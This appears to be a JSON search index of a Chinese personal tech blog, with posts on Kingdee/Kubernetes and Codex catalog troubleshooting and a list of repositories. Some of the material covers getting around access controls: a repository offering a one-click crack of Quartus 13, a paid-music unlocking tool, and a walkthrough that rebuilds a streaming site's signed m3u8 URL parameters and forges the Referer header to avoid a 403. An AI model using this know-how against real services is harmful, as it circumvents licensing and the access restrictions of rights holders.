文件无误后，清掉之前试错时加入的环境变量，并让 mservice 使用 nocode.lib：\nns=ierp-cluster sudo kubectl set env deployment/mservice \\ -n \u0026#34;$ns\u0026#34; \\ appids- appIds- libs=nocode.lib sudo kubectl rollout status deployment/mservice -n \u0026#34;$ns\u0026#34; 不要只看 Pod 启动成功 Pod 正常运行并不代表应用服务已经注册。重启完成后，我先检查了容器中的环境变量：\npod=$(sudo kubectl get pods \\ -n \u0026#34;$ns\u0026#34; \\ -l app=mservice \\ -o jsonpath=\u0026#39;{.items[0].metadata.name}\u0026#39;) sudo kubectl exec -n \u0026#34;$ns\u0026#34; \u0026#34;$pod\u0026#34; -- sh -c \\ \u0026#39;env | egrep \u0026#34;domain|libs|appids|appIds|appSplit|APPSTORE_URL\u0026#34;\u0026#39; 这里应该能看到：\nlibs=nocode.lib 同时不应该再有之前误加的 appids 或 appIds。\n最后，再从日志中确认目标应用的服务注册情况：\nsudo kubectl exec -n \u0026#34;$ns\u0026#34; \u0026#34;$pod\u0026#34; -- sh -c \\ \u0026#39;grep -R -n \u0026#34;r1h7_office_manage\\|group=r1h7_office_manage\\|Register dubbo service kd.bos.service.DispatchService\u0026#34; /mservice/logs 2\u0026gt;/dev/null | tail -120\u0026#39; 看到类似下面的记录，才说明配置真正生效：\nRegister dubbo service kd.bos.service.DispatchService ... group=r1h7_office_manage 再次打开应用预览后，页面恢复正常。\n出问题时怎么回滚 如果修改后服务出现异常，可以恢复最近一次备份，再移除相关环境变量：\nsudo cp \\ \u0026#34;$(ls -t /kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic/nocode.lib.bak.* | head -1)\u0026#34; \\ /kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic/nocode.lib sudo kubectl set env deployment/mservice \\ -n ierp-cluster \\ libs- appids- appIds- sudo kubectl rollout status deployment/mservice -n ierp-cluster 最后总结 这次最费时间的地方，不是命令有多复杂，而是两个长得很像的配置很容易被当成一回事：\n.lib 文件中的 \u0026lt;appIds\u0026gt; 决定已有云需要加载哪些应用。 Kubernetes 环境变量 appids 并不能替代这里的 XML 配置。 这次是在已有低代码云下新增应用，不需要另写一个 cloud-r1h7.lib。 修改前要备份，修改后要从日志确认目标 group 已经完成服务注册。 以后再遇到“未发现 AppIdName 服务”，我会先看对应应用有没有出现在运行时使用的 .lib 文件里，再去排查网络和注册中心。至少在这次环境中，这比直接给容器追加环境变量有效得多。\n","date":1785341100,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1785341306,"objectID":"70d33380f5c923cc0e8ec1301beef79e","permalink":"https://06xy.cn/post/kingdee-appidname-preview-fix/","publishdate":"2026-07-30T00:05:00+08:00","relpermalink":"/post/kingdee-appidname-preview-fix/","repository":"","section":"post","summary":"金蝶云苍穹应用预览时找不到 AppIdName 服务，排查后发现新增应用没有写入对应 .lib 文件的 appIds。","tags":["金蝶云苍穹","Kubernetes","排障"],"title":"金蝶应用预览报错“未发现 AppIdName 服务”，最后是 .lib 配置漏了","type":"post"},{"authors":null,"categories":null,"content":"最近给 Codex 配置 gpt-5.6-sol 时，我遇到了一个有点奇怪的问题：同一台电脑、同一个 Codex，其他模型都能正常调用终端，只有这个模型一直提示“当前会话未提供终端调用工具”。\n一开始我怀疑过 PowerShell、环境变量，甚至重新检查了 shell_type。最后才发现，问题并不在终端本身，而是在自定义模型 catalog 里。\n这篇文章记录的是自定义模型 catalog 和中继服务环境下的实测结果。tool_mode、use_responses_lite 等字段并不是 Codex 公开配置文档承诺的稳定接口，不同供应端或版本的行为可能不同。\n问题出在哪里 当时 gpt-5.6-sol 的配置里同时存在下面几个字段：\n{ \u0026#34;shell_type\u0026#34;: \u0026#34;shell_command\u0026#34;, \u0026#34;tool_mode\u0026#34;: \u0026#34;code_mode_only\u0026#34;, \u0026#34;use_responses_lite\u0026#34;: true } 虽然已经声明了 shell_type，实际请求仍然进入了没有注入本地终端工具的路径。我的处理方式是保留 shell_type，关闭 lite 请求，并删除 tool_mode：\n{ \u0026#34;shell_type\u0026#34;: \u0026#34;shell_command\u0026#34;, \u0026#34;use_responses_lite\u0026#34;: false } 修改后还需要新建一个 Codex 任务。已有任务的工具列表不会随 catalog 文件动态刷新。\n找到当前生效的 catalog Codex 的个人配置通常在：\n%USERPROFILE%\\.codex\\config.toml 自定义 catalog 的路径由 model_catalog_json 指定。不要根据文件名猜，也不要照搬别人电脑上的完整路径，可以直接从配置中读取：\n$codexHome = Join-Path $HOME \u0026#39;.codex\u0026#39; $config = Join-Path $codexHome \u0026#39;config.toml\u0026#39; $match = Select-String ` -Path $config ` -Pattern \u0026#39;^model_catalog_json\\s*=\\s*\u0026#34;([^\u0026#34;]+)\u0026#34;$\u0026#39; if (-not $match) { throw \u0026#39;config.toml 中没有找到 model_catalog_json\u0026#39; } $catalogRelative = $match.Matches[0].Groups[1].Value $catalog = Join-Path $codexHome $catalogRelative $catalog 官方配置文档也将 model_catalog_json 描述为启动时加载的可选模型目录覆盖项。因为配置是在启动时读取的，所以改完后新建任务是很重要的一步。\n先检查，不要直接修改 找到文件后，先看看目标模型当前有哪些字段：\n$json = Get-Content -Raw -LiteralPath $catalog | ConvertFrom-Json $json.models | Where-Object { $_.slug -eq \u0026#39;gpt-5.6-sol\u0026#39; } | Select-Object slug, shell_type, tool_mode, use_responses_lite 我当时看到的是：\nslug : gpt-5.6-sol shell_type : shell_command tool_mode : code_mode_only use_responses_lite : True 这也解释了为什么单纯补上 shell_type 没有解决问题。\n备份并修复 下面这段脚本只修改 gpt-5.6-sol 对象，并在原目录生成一份带时间戳的备份：\n$timestamp = Get-Date -Format \u0026#39;yyyyMMdd-HHmmss\u0026#39; $backup = \u0026#34;$catalog.bak-5.6sol-terminal-$timestamp\u0026#34; Copy-Item -LiteralPath $catalog -Destination $backup $json = Get-Content -Raw -LiteralPath $catalog | ConvertFrom-Json $model = $json.models | Where-Object { $_.slug -eq \u0026#39;gpt-5.6-sol\u0026#39; } | Select-Object -First 1 if (-not $model) { throw \u0026#34;没有在 $catalog 中找到 gpt-5.6-sol\u0026#34; } $model | Add-Member ` -NotePropertyName shell_type ` -NotePropertyValue shell_command ` -Force $model | Add-Member ` -NotePropertyName use_responses_lite ` -NotePropertyValue $false ` -Force $model.PSObject.Properties.Remove(\u0026#39;tool_mode\u0026#39;) $json | ConvertTo-Json -Depth 100 | Set-Content -LiteralPath $catalog -Encoding UTF8 Write-Host \u0026#34;已修复：$catalog\u0026#34; Write-Host \u0026#34;备份位置：$backup\u0026#34; ConvertTo-Json 会重新排版整个文件，但不会改变 JSON 的数据结构。如果很在意原文件格式，也可以只手工修改目标模型对象。\n验证修改结果 先确认 JSON 仍能正常解析，再查看目标字段：\n$verified = Get-Content -Raw -LiteralPath $catalog | ConvertFrom-Json $verified.models | Where-Object { $_.slug -eq \u0026#39;gpt-5.6-sol\u0026#39; } | Select-Object slug, shell_type, tool_mode, use_responses_lite 预期结果是：\nshell_type : shell_command tool_mode : use_responses_lite : False 一定要用新任务实测 关闭旧任务，新建一个使用 gpt-5.6-sol 的任务，然后发送：\n请调用终端运行 Get-Location，然后只返回终端输出。 也可以用 CLI 单独验证：\ncodex exec -m gpt-5.6-sol --skip-git-repo-check ` \u0026#34;请调用终端运行 Get-Location，然后只返回终端输出。\u0026#34; 成功时，日志中应该能看到类似内容：\nmodel: gpt-5.6-sol exec pwsh.exe -Command Get-Location succeeded 如果 codex.exe 命中了 WindowsApps 入口并提示拒绝访问，可以先检查自己的配置是否记录了实际 CLI 路径，再使用那个完整路径执行命令。\n为什么旧任务还是不能用 这是这次排障里最容易让人误判的一点。\n模型 catalog 在任务启动时读取，可用工具也在那时确定。修改文件只能影响之后创建的任务，不能给已经存在的任务动态补上 shell_command。\n因此可以这样判断：\nCLI 新会话能调用终端，说明 catalog 修改已经生效。 旧任务仍然提示没有终端工具，并不代表修复失败。 新建任务后恢复正常，问题就算真正解决了。 如果以后再次出现 Codex 更新、中继服务或 catalog 同步程序都可能重新生成模型目录。问题复发时，我会按下面的顺序检查：\n重新读取 config.toml 中当前生效的 model_catalog_json。 检查 gpt-5.6-sol 的 shell_type、tool_mode 和 use_responses_lite。 修复后新建任务，不在旧任务里反复测试。 最后做一次真实的终端调用，而不只是检查 JSON。 如果修改后引发了其他问题，直接把之前生成的备份复制回原 catalog 即可。回滚之后同样需要新建任务。\n最后 这次问题最迷惑的地方，是配置里明明已经有 shell_type = shell_command，看起来终端能力应该存在。真正影响行为的却是另外两个不太显眼的字段。\n所以遇到“某个模型没有终端工具”时，不必先重装 PowerShell 或 Codex。先确认问题是否只发生在单个模型，再检查当前实际生效的 catalog，通常能少走不少弯路。\n参考：Codex Configuration Reference\n","date":1785331800,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1785335944,"objectID":"7ced0308adb3cbe3a213a1d5c372305e","permalink":"https://06xy.cn/post/codex-gpt-5-6-sol-terminal-tools/","publishdate":"2026-07-29T21:30:00+08:00","relpermalink":"/post/codex-gpt-5-6-sol-terminal-tools/","repository":"","section":"post","summary":"切换到 GPT-5.6-Sol 后，Codex 突然无法调用终端。最后发现问题出在自定义模型 catalog 的工具模式配置。","tags":["Codex","GPT-5.6-Sol","排障"],"title":"Codex GPT-5.6-Sol 没有终端工具，我是这样修好的","type":"post"},{"authors":null,"categories":null,"content":"","date":1780540709,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"Batchfile","lastmod":1780541385,"objectID":"3db1c5829adc48155c69f207534add4e","permalink":"https://06xy.cn/repositories/quartus/","publishdate":"2026-06-04T02:38:29Z","relpermalink":"/repositories/quartus/","repository":"https://github.com/06xy/quartus","section":"repositories","summary":"只需双击即可自动化破解 Quartus 13。","tags":null,"title":"Quartus 一键破解","type":"repositories"},{"authors":null,"categories":null,"content":"","date":1780319789,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"Vue","lastmod":1780495899,"objectID":"9361a2a7d0db5d85756a1c5bbb3d0657","permalink":"https://06xy.cn/repositories/resume-generate/","publishdate":"2026-06-01T13:16:29Z","relpermalink":"/repositories/resume-generate/","repository":"https://github.com/06xy/ResumeGenerate","section":"repositories","summary":"根据经历直接使用 AI 生成一份高质量的简历。","tags":null,"title":"ResumeGenerate","type":"repositories"},{"authors":null,"categories":null,"content":"","date":1780232445,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"JavaScript","lastmod":1780317131,"objectID":"22226d121e3c00de91d55af8deea18d7","permalink":"https://06xy.cn/repositories/auto-detector/","publishdate":"2026-05-31T13:00:45Z","relpermalink":"/repositories/auto-detector/","repository":"https://github.com/06xy/AutoDetector","section":"repositories","summary":"一个远程文件管理器。","tags":null,"title":"AutoDetector","type":"repositories"},{"authors":null,"categories":null,"content":"","date":1777728157,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"Dart","lastmod":1784393752,"objectID":"f34b041e30f3324298015ffdfc1ca0e3","permalink":"https://06xy.cn/repositories/henk-music/","publishdate":"2026-05-02T13:22:37Z","relpermalink":"/repositories/henk-music/","repository":"https://github.com/06xy/HenkMusic","section":"repositories","summary":"基于 Flutter 的安卓音乐播放器，支持酷狗音乐。","tags":null,"title":"HenkMusic 音乐播放器","type":"repositories"},{"authors":null,"categories":null,"content":"","date":1777619399,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"JavaScript","lastmod":1777619447,"objectID":"29824de365fcf0d19d5e05687c9d0932","permalink":"https://06xy.cn/repositories/music-unlock/","publishdate":"2026-05-01T07:09:59Z","relpermalink":"/repositories/music-unlock/","repository":"https://github.com/06xy/music_unlock","section":"repositories","summary":"将付费下载的音乐转换成普通 MP3 格式。","tags":null,"title":"MusicUnlock","type":"repositories"},{"authors":null,"categories":null,"content":"前段时间分析一个电视直播网站时，我想弄清楚它的直播地址是怎么生成的。原以为从浏览器 Network 面板里复制链接就结束了，没想到链接还带着动态参数，直接请求又返回 403。\n这篇文章把当时的排查过程重新整理一下。重点不在某个固定网站或一条长期可用的地址，而是如何从浏览器里找到请求、追踪参数生成逻辑，再还原页面正常发起请求时所需的上下文。\n本文仅记录个人学习和调试过程，请在获得授权的环境中使用。直播地址、鉴权参数和站点脚本都可能随时变化。\n先从 m3u8 请求入手 打开直播页面后，我先按 F12 进入开发者工具，在 Network 面板里搜索 m3u8。页面加载过程中出现了两个相关请求：\n点开请求后可以看到，地址并不是一个固定链接，后面还带着 txSecret 和 txTime 两个参数：\n看到这里，直接复制地址显然不够。txTime 看起来和有效期有关，txSecret 则更像是根据路径和时间计算出来的签名。下一步就是找到前端在哪里生成它们。\n在打包脚本里寻找参数来源 刷新页面后，我在 Sources 中全局搜索 txSecret。搜索结果并不多，关键逻辑集中在一个名为 299.d1f40516.js 的打包文件中：\n压缩后的代码不太好读，但搜索结果已经把范围缩得很小。沿着 txSecret 附近的调用往上看，可以找到拼接直播地址的函数。为了确认判断，我在这里加了断点：\n重新触发播放后，断点成功命中。从局部变量和返回值能看出来，这段函数最终生成的正是 Network 面板里看到的 m3u8 地址：\n把生成逻辑单独跑起来 确认函数作用后，我把相关代码整理到本地，准备脱离网页单独运行：\n第一次运行并没有直接成功，代码提示缺少 m 函数。这很正常，因为打包产物中的函数往往依赖同一模块里的其他变量和方法。于是我回到断点位置，继续沿调用关系寻找 m：\n找到后继续补进本地代码：\n接下来又依次缺少 f 和 p。处理方式没有变化：不要凭函数名猜用途，而是回到浏览器里看变量来自哪个模块、传入了什么参数、最终返回什么结果。\n识别打包器留下的调用方式 补齐几个函数后，新的错误变成了 e[t(...)] is not a function。这次不是简单少复制了一个函数，而是原代码还保留着打包器内部的模块调用方式：\n网页里的 e[...]、t(...) 依赖运行时模块表，直接放进一个独立脚本当然找不到对应函数。这里需要结合断点实际返回值，把打包器的间接调用还原成普通 JavaScript，而不是继续机械地复制代码。\n其中一段逻辑类似：\nl = h()(o).toString().toLowerCase() 继续观察输入和输出后，可以确认这里需要的是 MD5。放到 Node.js 中，可以用内置的 crypto 模块实现同样的行为：\nconst crypto = require(\u0026#39;crypto\u0026#39;) function h() { return function (value) { return crypto.createHash(\u0026#39;md5\u0026#39;).update(value).digest(\u0026#39;hex\u0026#39;) } } 把这部分替换掉，再补齐前面追踪到的依赖后，脚本终于能够生成完整地址：\n地址生成了，为什么还是 403 拿到地址后，我直接访问了一次，服务器返回 403 Unauthorized：\n参数已经和页面请求一致，剩下最值得检查的就是请求头。对比浏览器里成功的请求后，问题落在了 Referer：服务端不只检查 URL 签名，还会判断请求是否来自正常页面。\n因此，在自己的请求脚本里除了调用 JavaScript 生成最新地址，还需要带上与浏览器一致的 Referer。例如使用 Python 请求时，可以明确设置请求头：\nimport requests headers = { \u0026#34;Referer\u0026#34;: \u0026#34;https://对应的页面地址/\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34;, } response = requests.get(m3u8_url, headers=headers, timeout=15) response.raise_for_status() print(response.text) 补上正确的请求上下文后，最终成功拿到了 m3u8 内容：\n这次排查留下的经验 回头看，这次过程可以归纳成几步：\n先在 Network 中找到真实请求，不要从页面元素猜播放地址。 从动态参数名反查打包脚本，把搜索范围缩小到具体模块。 通过断点确认函数的输入、输出和调用关系，再整理本地代码。 遇到 e[...] 一类表达式时，要考虑它是不是打包器的模块运行时，不能只靠复制函数解决。 URL 参数正确但仍然返回 403 时，对比浏览器请求头，尤其留意 Referer、Cookie 和 User-Agent。 最重要的一点是，每一步都用 Network 请求或断点变量来验证。这样即使网站换了文件名或重新打包，排查方法仍然能继续使用，而不是只能依赖某一段很快就会失效的代码。\n","date":1743954386,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1765121755,"objectID":"13209e30b0b99c1af93bfac01195a7ed","permalink":"https://06xy.cn/post/get-live-stream-m3u8-url/","publishdate":"2025-04-06T23:46:26+08:00","relpermalink":"/post/get-live-stream-m3u8-url/","repository":"","section":"post","summary":"从 Network 中的 m3u8 请求出发，追踪 txSecret 和 txTime 的生成逻辑，并解决直连返回 403 的问题。","tags":["JavaScript","m3u8","逆向分析"],"title":"记一次电视直播网站的 m3u8 地址获取过程","type":"post"},{"authors":null,"categories":null,"content":"","date":1739186750,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"HTML","lastmod":1740648618,"objectID":"f42ac08709a61fd3223d36217e74f68e","permalink":"https://06xy.cn/repositories/iptvadmin2/","publishdate":"2025-02-10T11:25:50Z","relpermalink":"/repositories/iptvadmin2/","repository":"https://github.com/06xy/iptvadmin2","section":"repositories","summary":"一个使用 Django 开发的 IPTV 直播源管理系统。","tags":null,"title":"IPTVAdmin2","type":"repositories"}]